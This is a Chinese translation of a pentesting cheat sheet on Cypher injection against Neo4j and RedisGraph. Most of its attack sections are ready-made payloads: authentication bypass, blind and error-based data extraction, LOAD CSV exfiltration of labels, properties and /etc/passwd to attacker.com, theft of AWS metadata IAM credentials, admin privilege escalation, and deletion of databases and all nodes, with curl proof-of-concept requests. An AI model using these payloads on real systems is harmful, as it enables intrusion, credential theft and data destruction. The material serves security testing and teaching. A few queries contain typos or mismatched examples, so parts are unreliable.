原文地址cypher-injection-cheatsheet,转载并翻译

发布于速查表栏目,2022年12月26日

Cypher 注入速查表

1. Cypher

什么是Cypher?

  • Cypher是(Open) Cypher Query Language的简称
  • 它是Neo4j的图查询语言,让您从图中检索数据。它类似于图数据库的SQL
  • 它最初是为Neo4j设计的,但通过openCypher项目开放。现在它被许多其他数据库使用,包括RedisGraph、Spark、Amazon Neptune和SAP HANA Graph。
  • Cypher查询语言参考,版本9

    图数据库

    图数据库与关系型数据库的比较

 Relational databaseGraph database
Vendor examplesMySQL, Microsoft SQL ServerNeo4j, RedisGraph, Amazon Neptune
What it looks likeTables, rows, columns:Graphs, nodes, relationships:

有趣的事实:Neo4j被BloodHound使用

图数据库基础

图数据库可以使用以下元素存储任何类型的数据:

  • 节点 - 图数据记录
  • 关系 - 节点之间的链接(具有方向和类型)
  • 属性 - 存储节点或关系中数据的键/值对
  • 标签:节点或关系的类型

来源

Cypher查询

查询组件


来源

来源

注释

  • //: 行内注释
  • /* */: 多行注释

    基本查询

    MATCH子句

    // 获取所有具有"Fruit"标签的节点
    MATCH (a:Fruit) RETURN a    // 相当于SQL中的SELECT ... FROM
    
    // 获取具有特定属性的所有"Fruit"节点
    MATCH (a:Fruit {title: 'Green Apple'}) RETURN a
    MATCH (a:Fruit) WHERE a.title = "Green Apple" RETURN a
    
    // 限制结果数量
    MATCH (a:Fruit) RETURN a LIMIT 20
    
    // 对结果排序
    MATCH (a:Fruit) RETURN a ORDER BY title

    CREATE子句

    // 创建单个节点
    CREATE (n)
    
    // 创建多个节点
    CREATE (n), (m)
    
    // 创建带标签的节点
    CREATE (n:Person)
    
    // 创建带多个标签的节点
    CREATE (n:Person:Swedish)
    
    // 创建节点并添加标签和属性
    CREATE (n:Person {name: 'Andy', title: 'Developer'})
    
    // 返回创建的节点
    CREATE (a {name: 'Andy'})
    RETURN a.name
    
    // 创建节点并设置属性
    CREATE (n:Account)
    SET n.id=1, n.username="admin",n.password="password123"
    RETURN n

    获取数据库和节点信息

    检索标签

    检索图中的所有标签并删除重复项:

    MATCH (a) return DISTINCT labels(a)

    CALL db.labels()

    CALL db.labels() YIELD label

    CALL db.labels() YIELD label AS x

关于YIELD

  • YIELD允许您选择返回哪些可用的结果字段(此处为label),并将它们存储在一个变量(x)中,该变量可以被查询的其余部分使用。
  • 使用变量并不是必需的。这种语法也是有效的(我不确定为什么):

    CALL db.labels() YIELD label RETURN count(label)
    // 等同于
    CALL db.labels() YIELD label AS x RETURN count(x)

    检索标签的属性

    MATCH (c) WHERE c.name = 'Spongebob'
    RETURN keys(c)
    
    // 删除重复项
    MATCH (c:Character)
    RETURN DISTINCT keys(c)

    列出数据库

    SHOW databases

    转储数据库中的所有节点

    USE myDatabase    // 选择要查询的数据库
    MATCH (n) RETURN n

    列出当前用户

    SHOW CURRENT USER

    列出所有用户

    SHOW USERS

    列出可用的过程

    SHOW procedures
    // 或
    CALL dbms.procedures()

    列出可用的函数

    CALL dbms.functions()

    列出用户角色

    // 切换到系统数据库,然后列出角色
    USE system CALL dbms.security.listRoles()

    有用的函数

    collect()

    collect()收集所有值并在单个列表中返回它们(对数据窃取有用):

    MATCH (c:Character)
    RETURN collect(c.name)               
    
    // 返回:
    // ["Squidward", "Mr.Crabs", "Spongebob", "Sandy", "Patrick"]

    split()

    split()使用分隔符将字符串拆分为字符串列表:

    RETURN split('one,two', ',')
    
    // 返回:
    // ["one","two"]

    在一条语句中执行多个查询

    子句组合

Cypher查询由多个链接在一起的子句组成,例如:

MATCH (john:Person {name: 'John'})
MATCH (john)-[:FRIEND]->(friend)
RETURN friend.name AS friendName

根据Cypher规范

另一种理解子句的方式是将它们视为函数链:本质上,每个子句都是一个函数,它接受一个表作为输入,并返回一个表作为输出。因此,整个查询是这些"函数"的组合。

这使得在后面利用Cypher注入时,可以在一条语句中链接多个子句。
例如,如果我们可以注入到MATCH ... WHERE ... RETURN查询中,我们将能够添加CALLLOAD CSV FROM子句:

MATCH ...
WHERE ...
CALL ... YIELD ...
LOAD CSV FROM ...
RETURN ...

这里是完整示例)

UNION子句

  • Cypher的UNION子句将两个或多个查询的结果合并成一个结果集(包括属于联合中所有查询的所有记录)
  • 但所有查询必须具有相同的返回名称和相同数量的返回列
  • 如果组合的查询返回不同类型的数据(例如字符串和数字),这不是问题
  • 使用UNION合并查询并删除重复项,使用UNION ALL保留重复项
MATCH (n:Person)
RETURN n.name
UNION
MATCH (n:Book)
RETURN n.title

// 使用相同的别名
MATCH (n:Person)
RETURN n.name AS name
UNION
MATCH (b:Book)
RETURN b.title AS name

错误的语法:

// 不允许
MATCH (p:Person)
RETURN p.name
UNION
MATCH (b:Book)
RETURN b.title

WITH子句

WITH子句允许您链接(或管道)查询,即将一个查询的输出链接到另一个查询。
例如,用ORDER BY子句跟进MATCH子句:

MATCH (c)
WITH c
ORDER BY c.Character DESC
LIMIT 3
RETURN collect(c.name)

// 例如输出               
// │["Mr.Crabs","Spongebob","Squidward"]│  

这对Cypher注入很有用,可以跳出初始查询。

CALL {} 子查询

CALL可用于调用过程(例如CALL db.labels())或子查询,即查询内的其他查询。

LOAD CSV

LOAD CSV用于从本地或远程CSV文件导入数据:

// 导入本地文件
LOAD CSV FROM 'file:///users.csv' AS line RETURN line

// 导入远程文件
LOAD CSV FROM https://domain.com/data.csv AS line RETURN line

请注意,它实际上不必是CSV文件,这使得SSRF成为可能:

LOAD CSV FROM 'file:///etc/passwd' AS line RETURN line

LOAD CSV FROM "https://attacker.com" AS line RETURN line

LOAD CSV支持HTTPSHTTPFTPfile:///。它会跟随重定向,但不会跟随改变协议的重定向(例如从HTTPSHTTP)。

APOC库

Neo4j APOC库

  • 代表Awesome Procedures on Cypher
  • 扩展Neo4j数据库的功能和Cypher语言
  • 提供更多功能,包括导入/加载导出数据的过程
  • 默认不安装,但被认为是最常见的Neo4j库

apoc.load.json()用于导入本地或远程JSON文件:

// 本地文件
CALL apoc.load.json("file:///person.json")
YIELD value
RETURN value

// 远程文件
CALL apoc.load.json("https://domain.com/data.json")
YIELD value
RETURN value

列出可用的APOC过程:

CALL apoc.help('apoc')

条件语句

这对于利用基于布尔和基于时间的Cypher注入非常有用。

CASE表达式

CASE结构用于创建条件语句,例如:

MATCH (n:Movie)
RETURN
CASE n.title
  WHEN 'The Matrix Reloaded'  THEN 1
  WHEN 'The Matrix Revolutions' THEN 2
  ELSE 3
END AS result
LIMIT 5

APOC的WHEN和CASE过程

APOC还支持条件执行过程

更多内容

什么是Cypher注入?

根据Neo4j

Cypher注入是一种恶意格式化输入跳出其上下文的方式,通过改变查询本身,劫持查询并在数据库上执行意外操作。

这是SQL注入的近亲,但影响我们的Cypher查询语言。

类型

我没有找到Cypher注入攻击的分类,但基于SQL注入的类型,它们也可以是:

  • 带内:用于注入恶意Cypher代码和查看结果的同一通道

    • 基于错误:使数据库产生错误消息以了解其结构并构建有效载荷
  • 推断型(盲注):不返回错误,但可以分析响应以从应用程序的行为中推断信息

    • 基于布尔:使用条件并寻找行为差异来推断信息
    • 基于时间:使应用程序睡眠几秒钟,测量响应并推断数据
  • 带外(盲注):将Cypher查询的数据和结果窃取到外部服务器

注意:

  • 基于联合的注入(在我看来)不适用,因为没有SQL表的概念。Cypher确实有UNION子句,但它的工作方式不同。
  • 基于时间的注入默认不可用。它需要安装APOC

    示例:简单的带内注入

易受攻击的查询

// NodeJS应用中的Neo4j查询
executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")

有效载荷

Spongebob' or 1=1 RETURN c//

最终查询

executeQuery("MATCH (c:Character) WHERE c.name = 'Spongebob' or 1=1 RETURN c//' RETURN c")

执行的是:

MATCH (c:Character)
WHERE c.name = 'Spongebob' or 1=1 RETURN c//' RETURN c

返回所有节点。

示例:使用UNION的带内注入

来源:The Cypher Injection Saga
易受攻击的请求
GET /show/id?id=42
原始查询

MATCH (a:Person)
WHERE id(a) = 42
RETURN a

其中id值(这里是42,通过id GET参数传递)是攻击者可控的。
有效载荷1

42 RETURN 1 AS a UNION CALL db.labels() YIELD label AS a

最终查询

MATCH (a:Person)
WHERE id(a) = 42
RETURN 1 AS a
UNION CALL db.labels() YIELD label AS a
RETURN a

注意,第一个查询返回数字,而第二个返回字符串,这在Cypher中不是问题。
有效载荷2

42 RETURN 1 AS a UNION MATCH(b) RETURN DISTINCT labels(b) AS a //

最终查询

MATCH (a:Person)
WHERE id(a) = 42
RETURN 1 AS a
UNION MATCH(b)
RETURN DISTINCT labels(b) AS a 
//RETURN a

示例:带外注入

同一示例但不同的利用方法:
易受攻击的请求
GET /show/id?id=42
原始查询

MATCH (p:Person)
WHERE id(p) = 42
RETURN p

有效载荷

42
CALL db.labels() YIELD label
LOAD CSV FROM 'https://attacker.com/' + label AS r

最终查询

MATCH (p:Person)
WHERE id(p) = 42
CALL db.labels() YIELD label
LOAD CSV FROM 'https://attacker.com/' + label AS r
RETURN p

3. 测试方法(针对Neo4j)

从哪里查找

  • 任何可能在数据库中处理的用户控制输入。

注意以下内容:

  • 数字ID
  • 登录表单
  • REST API端点

构建有效载荷的技巧

使用Neo4j浏览器或Neo4j桌面版

使用Neo4j浏览器或Neo4j桌面版在您控制的数据库(例如cypher-playground)上确保您的有效载荷能按预期工作,并且语法正确。

注入上下文

根据注入上下文,您可能需要结束正在注入的字符串或查询,以跳出它。例如:

'
"
'})

它也可能更复杂且特定于目标,如本漏洞赏金报告所示:

.*' | o ] AS filteredOrganisations

"WITH x as Y"技巧
如果要注入到CREATE子句中,请使用类似WITH 1337 AS y的方式跳出它:
原始查询

CREATE (n:Person) SET n.name="test" RETURN n

有效载荷

test" WITH 1337 AS y MATCH (n) DETACH DELETE n//

最终查询

MATCH (n) WHERE n.id=1337 WITH 1337 AS dummy MATCH (n) DETACH DELETE n// RETURN n

行内注释

使用//注释掉请求的其余部分。它允许消除限制结果的子句。
例如,LIMIT 0表示不显示输出,但可以绕过:
原始查询

MATCH (n) WHERE n.is_active = USER_INPUT RETURN n LIMIT 0

有效载荷

1 OR 1=1 RETURN n//

最终查询

MATCH (n) WHERE n.is_active = 1 OR 1=1 RETURN n// RETURN n LIMIT 0

多行注释

使用/*注释掉多行请求,例如:
原始查询

MATCH (u:User) WHERE u.name = ' + USER_INPUT + '
RETURN u LIMIT 5

有效载荷

' OR 1=1 RETURN u/*

最终查询

MATCH (u:User) WHERE u.name = '' OR 1=1 RETURN u/*'
RETURN u LIMIT 5 /*Only return 5 results*/

// 等同于:
MATCH (u:User) WHERE u.name = '' OR 1=1 RETURN u

限制:当您注入/*时,多行注释将在查询中的第一个终止符(即*/)处停止。
例如,这里无法消除LIMIT 0

// 原始查询
MATCH (u:User) WHERE u.name = ' + USER_INPUT + '
RETURN u /* second comment */ LIMIT 0 /* Do not display output */

注入' OR 1=1 RETURN u /*后的最终查询:

MATCH (u:User) WHERE u.name = '' OR 1=1 RETURN u /*'
RETURN u /* second comment */ LIMIT 0 /* Do not display output */

复制粘贴

提醒一下,从其他地方复制粘贴有效载荷可能会添加不可见字符。
此外,Cypher查询通常会显示换行符以提高可读性。

因此,如果有效载荷应该有效但不起作用,请确保没有任何破坏有效载荷的不需要的字符。

检测方法

基于错误的检测

尝试使用以下载荷触发错误

'
"
)
// 在前面添加字符串,如 `zxlck.`
\'
12/0    // 即 int/0
42-1    // 即 int-int
randomstring
1 or 1=1
' or 1=1
" or 1=1
' or '1'='1
" or "1"="1
...

Neo4jError 示例:

来源:The Cypher Injection Saga

盲注数学运算

将参数中的数值更改为数学运算
例如,如果 /profile?id=42/profile?id=41%2b2-1 (载荷为 41+2-1 但经过 URL 编码)返回相同响应,则表明存在代码注入。

盲注基于布尔值

寻找响应中的差异:

' or 1=1 //
' or 1=0 //

" or "1"="1
" or "1"="2

" or True //
" or False //
...

带外交互

尝试向你的服务器发送带外 HTTP 请求:

LOAD CSV FROM 'https://attacker.com' AS b return b//

基于时间的

如果启用了 APOC,可以使用:

CALL apoc.util.sleep(10000)

示例
原始查询:

MATCH (n:User) WHERE n.name='Jane' RETURN n

载荷:

Jane' RETURN 1 UNION CALL apoc.util.sleep(10000) RETURN 1 //

最终查询:

MATCH (n:User) WHERE n.name='Jane' RETURN 1 UNION CALL apoc.util.sleep(10000) RETURN 1 //

利用方法

认证绕过

与通过 SQLi 绕过认证类似。尝试以下载荷:

1 OR 1=1

例如:

// 易受攻击的查询
MATCH (n) WHERE n.name = "admin" and n.password = {用户提供的输入} RETURN n LIMIT 0

// 最终查询
MATCH (n) WHERE n.name = "admin" and n.password = 1 OR 1=1 RETURN n LIMIT 0

泄露数据库中的标签和属性

为了构建有效的查询,我们需要知道数据库中存在哪些标签和属性。首先,尝试提取这些信息,如果它们没有在 HTTP 响应中返回,则将其泄露到我们的服务器。

带内注入

泄露标签

CALL db.labels()

泄露标签的属性(这里是 Character):

MATCH (c:Character) RETURN DISTINCT keys(c)

泄露属性的值(这里是 name):

MATCH (c:Character) RETURN c.name

带外/盲注(使用 LOAD CSV)

LOAD CSV 用于导入本地或远程文件。 由于它向外部服务(我们可以定义)发送 GET 请求,因此可以将数据从数据库泄露到我们控制的服务器(基本上是内部 SSRF)。

泄露标签

CALL db.labels() YIELD label
LOAD CSV FROM 'https://attacker.com/'+label
AS b RETURN b//

(每个标签都会发送一个 GET 请求)
泄露标签的属性(这里是 Character)使用 APOC:

MATCH (c:Character)
LOAD CSV FROM 'https://attacker.com/'+apoc.text.join(keys(c), '')
AS b RETURN b//

泄露标签的属性(这里是 Character)不使用 APOC:

// 第一个属性
MATCH (c:Character)
LOAD CSV FROM 'https://attacker.com/'+keys(c)[0]
AS b RETURN b//

// 第二个属性
MATCH (c:Character)
LOAD CSV FROM 'https://attacker.com/'+keys(c)[1]
AS b RETURN b//

泄露属性的值(这里是 name):

MATCH (c:Character)
LOAD CSV FROM 'https://attacker.com/'+c.name
AS b RETURN b//

在不知道标签和属性的情况下泄露数据

即使无法泄露标签和属性,如果有一个告诉你返回变量名称的错误消息,仍然可以进行利用(真实示例)。
例如:泄露所有节点
易受攻击的查询:

// NodeJS 应用中的 Neo4j 查询
executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")

载荷:

// 替换 'c' 为你拥有的返回变量名
' or 1=1 RETURN c//

最终查询:

MATCH (c:Character)
WHERE c.name = '' or 1=1
RETURN c//' RETURN c

基于错误注入的 Date() 技巧

如果可以看到错误消息,将要转储的数据放在 Date() 函数内。
由于它将无法将其转换为日期,它会将接收到的参数(即您想要泄露的数据)作为错误输出:

MATCH (a:Movie)
RETURN a ORDER BY a.title,Date(keys(a))

来源

通过基于布尔值的注入进行数据泄露

来自 Neo4j (Cypher graph query language) injection 的载荷:
属性(列)数量

MATCH (a)
RETURN size(keys(a))
LIMIT 1

属性长度

MATCH (a)
WHERE a.name = '' OR 4 = size('1234')
RETURN a
LIMIT 1

OR 4 = size('1234') 使条件为真,所以查询会返回 1 条记录。
4 = size('1234') 替换为 1 = size('1234') 不会返回记录。

第一个属性的长度

MATCH (a)
RETURN size(keys(a)[0])
LIMIT 1

If 条件

MATCH (a:Movie)
RETURN a
ORDER BY
CASE 'a'
    WHEN 'b' THEN a.title
    ELSE a.name
END

子字符串/字符

MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test
UNION
MATCH (b:Person)
RETURN substring(keys(b)[0],0,1) AS test//'

组合起来

MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test
UNION
MATCH (b:Person) RETURN
CASE substring(keys(b)[0],0,1)
    WHEN "a" THEN 2
    ELSE 3
END AS test//'

                    
MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test UNION MATCH (b:Person) RETURN case substring(keys(b)[0],0,1) WHEN "n" THEN 2 ELSE 3 END AS test//'

MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test
UNION
MATCH (b:Person) RETURN
CASE size(keys(b)[0])
    WHEN 1 THEN 2
    ELSE 3
END AS test//'

                  
MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test
UNION                                                                            MATCH (b:Person) RETURN
CASE size(keys(b)[0])
    WHEN 4 THEN 2
    ELSE 3
END AS test//'

通过基于时间的注入进行数据泄露

我需要进一步研究以创建载荷。想法是结合 if 条件(类似于基于布尔值的注入)和 CALL apoc.util.sleep(10000) 来推断值。

SSRF

除了从数据库泄露数据外,我们还可以使用 LOAD CSV 进行内部 SSRF。
更准确地说,我们通过以下方式链接内部 SSRF 和外部 SSRF:

  1. 向内部服务发送请求
  2. 将输出存储在变量中
  3. 向您的服务器发送第二个请求并将变量中的数据附加到 URL(作为路径)

请注意,内部服务和图形数据库可以托管在不同的服务器上。
泄露内部资源响应
尝试加载内部网页或文件并将它们发送到您的服务器:

LOAD CSV FROM "http://169.254.169.254/latest/meta-data/iam/security-credentials/" AS x
LOAD CSV FROM "https://attacker.com/"+x[0] AS y
RETURN ''//

尝试访问各种内部资源:

  • 敏感文件,例如 http://localhost:3030/internal-api/keys.txt
  • 云元数据端点(例如 AWS 元数据服务)
  • 任何内部端点,例如 https://192.168.1.1/adminhttp://localhost:8080...

请注意:

  • 即使 Neo4j 数据库和敏感文件托管在不同的服务器上,这也有效
  • 文件类型无关紧要(不必是 CSV)

云中的横向移动

  • 如果可以查询云元数据服务,尝试获取凭据并将攻击升级到其他机器。
  • 但这IMDSv1 中有效。
  • IMDSv2 要求通过 HTTP 请求头 X-aws-ec2-metadata-token 传递会话令牌,以允许查询 AWS 元数据服务。似乎没有办法在 LOAD CSV 发送的 GET 请求中包含此令牌。

导出包含特殊字符的数据/响应

如果被泄露的数据(这部分:x[0])包含 URL 中不允许的字符(空格、单引号、双引号等),上述载荷将不起作用。 换句话说,LOAD CSV 不会自动对特殊字符进行 URL 编码。

例如,在 Neo4j 浏览器中运行此查询会返回错误(因为 a b c 中的空格):

LOAD CSV FROM 'https://challs2.free.beeceptor.com/'+'a b c' AS y
RETURN y

a b c 分割成列表并只外泄第一个元素(a)可以正常工作:

LOAD CSV FROM 'https://challs2.free.beeceptor.com/'+split('a b c', ' ')[0] AS y
RETURN y

除了使用 split(),还有 3 种潜在解决方案:

  1. URL 编码数据,例如使用 apoc.text.urlencode()(没有找到不使用 APOC 的方法)
  2. 使用 collect()(来自 Fun with Cypher Injections):

    LOAD CSV FROM 'https://internal.service/' AS x WITH collect(x[0])[0] AS y LOAD CSV FROM 'http://attacker.com/'+y AS z RETURN ''
    
    LOAD CSV FROM 'https://internal.service/' AS x WITH collect(x[0])[1] AS y LOAD CSV FROM 'http://attacker.com/'+y AS z RETURN ''        
    
  3. 使用 UNWIND(来自 Fun with Cypher Injections):

    LOAD CSV FROM 'https://internal.service/' AS x WITH collect(x[0])[ITERATE WITH INCREMENTAL INTEGER] AS y LOAD CSV FROM 'http://XXX.burpcollaborator.net/'+y AS z RETURN ''

    我尚未进一步研究这个问题。只是想提出在导出数据时可能出现的潜在问题。

    任意文件读取

如果 Neo4j 数据库配置错误,将其"导入"目录设置为危险位置(如 /var/www/html/),您可以使用 LOAD CSV 读取其子目录中的任意文件。
泄露数据库"导入"目录的位置

// 在 Neo4j Desktop 1.5.6 上测试
CALL dbms.listConfig() YIELD name, value WHERE name='server.directories.import' RETURN value

在旧版本上,可能需要使用不同的名称,例如 Neo4j Desktop 1.3.11 中的 dbms.directories.import 而不是 server.directories.import
利用配置错误的数据库读取任意文件
例如,如果导入目录设置为 /

// 加载 /etc/passwd 并发送到您的服务器
LOAD CSV FROM 'file://etc/passwd'
AS x
LOAD CSV FROM "http://attacker.com/"+x[0]
AS y RETURN ''//

最终查询:

MATCH (n) WHERE n.id="1" OR 1=1 LOAD CSV FROM 'file://etc/passwd' AS x LOAD CSV FROM 'http://attacker.com/'+x[0] AS y RETURN ''// RETURN n

执行相同操作的另一个载荷:

' RETURN n UNION LOAD CSV FROM "file:///etc/passwd" AS n RESTURN n //

来源:Pentesting Cisco SD-WAN Part 1: Attacking vManage

覆盖 CREATE 子句中的值

来自 Fun with Cypher Injections 的权限提升示例
原始查询
创建一个普通(低权限)账户:

CREATE (n:Account)
SET n.id=1, n.username="admin",n.admin=False,n.password="{注入点}"
RETURN n

载荷

",n.admin=True RETURN n//

最终查询

CREATE (n:Account)
SET n.id=1, n.username="admin",n.admin=False,n.password="",n.admin=True RETURN n
//" RETURN n

我们将 n.admin 值覆盖为 True,使创建的账户成为管理员。

拒绝服务

必须先阅读

本节中所有攻击的影响是服务器端拒绝服务,即删除数据库中的所有条目或删除数据库。
除非您有明确的书面许可测试拒绝服务,否则不要在真实目标上测试此类攻击。
这里仅为学习目的提及,帮助在漏洞报告中描述 Cypher 注入的潜在影响

泄露并终止连接

  1. 获取所有连接 ID

    CALL dbms.listConnections()
  2. 使用 LOAD CSV 将它们泄露到您的服务器
  3. 终止连接

    CALL dbms.killConnection("bolt-9276")    // 对于单个连接
    CALL dbms.killConnections(["bolt-9276", "bolt-9273"])    // 对于多个连接

    影响

  4. 这会终止服务器和数据库之间的连接(这不是客户端攻击)。
  5. 因此,使用自动化脚本,我们可以阻止合法用户的查询执行,导致 DoS。
  6. 但这取决于您注入时的角色和权限。如果您的角色是管理员,您可以通过使用 LOAD CSV 的简单注入执行此 DoS 攻击。

    删除数据库

  7. 列出所有数据库

    SHOW databases
  8. 使用 LOAD CSV 将它们的名称泄露到您的服务器
  9. 删除数据库

    DROP database spongebob

    删除节点

    易受攻击的查询:

    // NodeJS 应用中的 Neo4j 查询
    executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")

    载荷:

    // 替换 'c' 为您拥有的返回变量名
    ' DELETE c//

    最终查询:

    MATCH (c:Character)
    WHERE c.name = ''
    DELETE c//' RETURN c

    删除所有节点

    删除所有节点
    易受攻击的查询:

    // NodeJS 应用中的 Neo4j 查询
    executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")

    载荷:

    ' MATCH (all) DETACH DELETE all//

    必须使用 DETACH 删除关系,因为节点不能在不删除其关系的情况下被删除。
    最终查询:

    MATCH (c:Character)
    WHERE c.name = ''
    MATCH (all)
    DETACH DELETE all//' RETURN c

    删除所有具有标签的节点
    载荷:

    ' MATCH (all:Character) DETACH DELETE all//

WAF 绕过

空白被过滤

如果空白被过滤:

MATCH (n) RETURN n

用注释替换它们:

MATCH/**/(n)/**/RETURN/**/n

如果 /**/ 也被过滤,使用 /*随机字符串*/ 代替:

MATCH/*socmb*/(n)/*yaoekd*/RETURN/*pxras*/n

LOAD CSV 不起作用?尝试 APOC!

MATCH (c:Character)
CALL apoc.load.json("https://attacker.com/data.json?leaked="+c.name)
YIELD value RETURN value//

OOB 请求被阻止

假设您有盲 Cypher 注入,想要泄露内部端点/文件的内容,但对您服务器的请求被阻止(例如被 WAF)。
我没有尝试过,但 这篇文章 中有一个可能有效的想法:将您想要泄露的数据保存在数据库中,然后在应用程序中显示时读取它。

LOAD CSV FROM 'https://domain/file.csv' AS line
CREATE (:Artist {name: line[1], year: toInteger(line[2])})

我不确定这是否是作者的意思,但如果其他方法都不起作用,值得一试。

然而,请注意,这可能会快速扰乱数据库,因为对于使用 LOAD CSV 获取的页面中找到的每一行,都会执行一个 CREATE 子句。

4. RedisGraph 中的 Cypher 注入

randomstring

PoC:

curl -X 'GET' 'http://localhost:3030/api/neo4j/places/id/randomstring' -H 'accept: application/json'

返回所有内容
载荷:

1 or 1=1

PoC:

curl -X 'GET' 'http://localhost:3030/api/neo4j/places/id/1%20or%201=1' -H 'accept: application/json'

泄露标签
载荷:

Spongebob' RETURN 1 as x UNION CALL db.labels() YIELD label AS x RETURN x//

PoC:

curl -X 'GET' "http://localhost:3030/api/neo4j/characters/name/Spongebob'%20RETURN%201%20as%20x%20UNION%20CALL%20db.labels()%20YIELD%20label%20AS%20x%20RETURN%20x%2f%2f" -H 'accept: application/json'

泄露 Character 标签的属性
载荷:

Spongebob' RETURN 1 as x UNION MATCH (c:Character) RETURN DISTINCT keys(c) AS x //

PoC:

curl -X 'GET' "http://localhost:3030/api/neo4j/characters/name/Spongebob'%20RETURN%201%20as%20x%20UNION%20MATCH%20(c%3aCharacter)%20RETURN%20DISTINCT%20keys(c)%20AS%20x%20%2f%2f" -H 'accept: application/json'

泄露 name 属性的值
载荷:

Spongebob' RETURN 1 as x UNION MATCH (c:Character) RETURN c.name AS x //

PoC:

curl -X 'GET' "http://localhost:3030/api/neo4j/characters/name/Spongebob'%20RETURN%201%20as%20x%20UNION%20MATCH%20(c%3aCharacter)%20RETURN%20c.name%20AS%20x%20%2f%2f" -H 'accept: application/json'
curl -X 'GET' \
  'http://localhost:3030/api/neo4j/places/id/1%20or%201=1' \
  -H 'accept: application/json'

1 CALL db.labels() YIELD label LOAD CSV FROM 'https://cypher.free.beeceptor.com/'+label AS b RETURN b//
Last modification:March 2, 2025
请我喝瓶冰阔落吧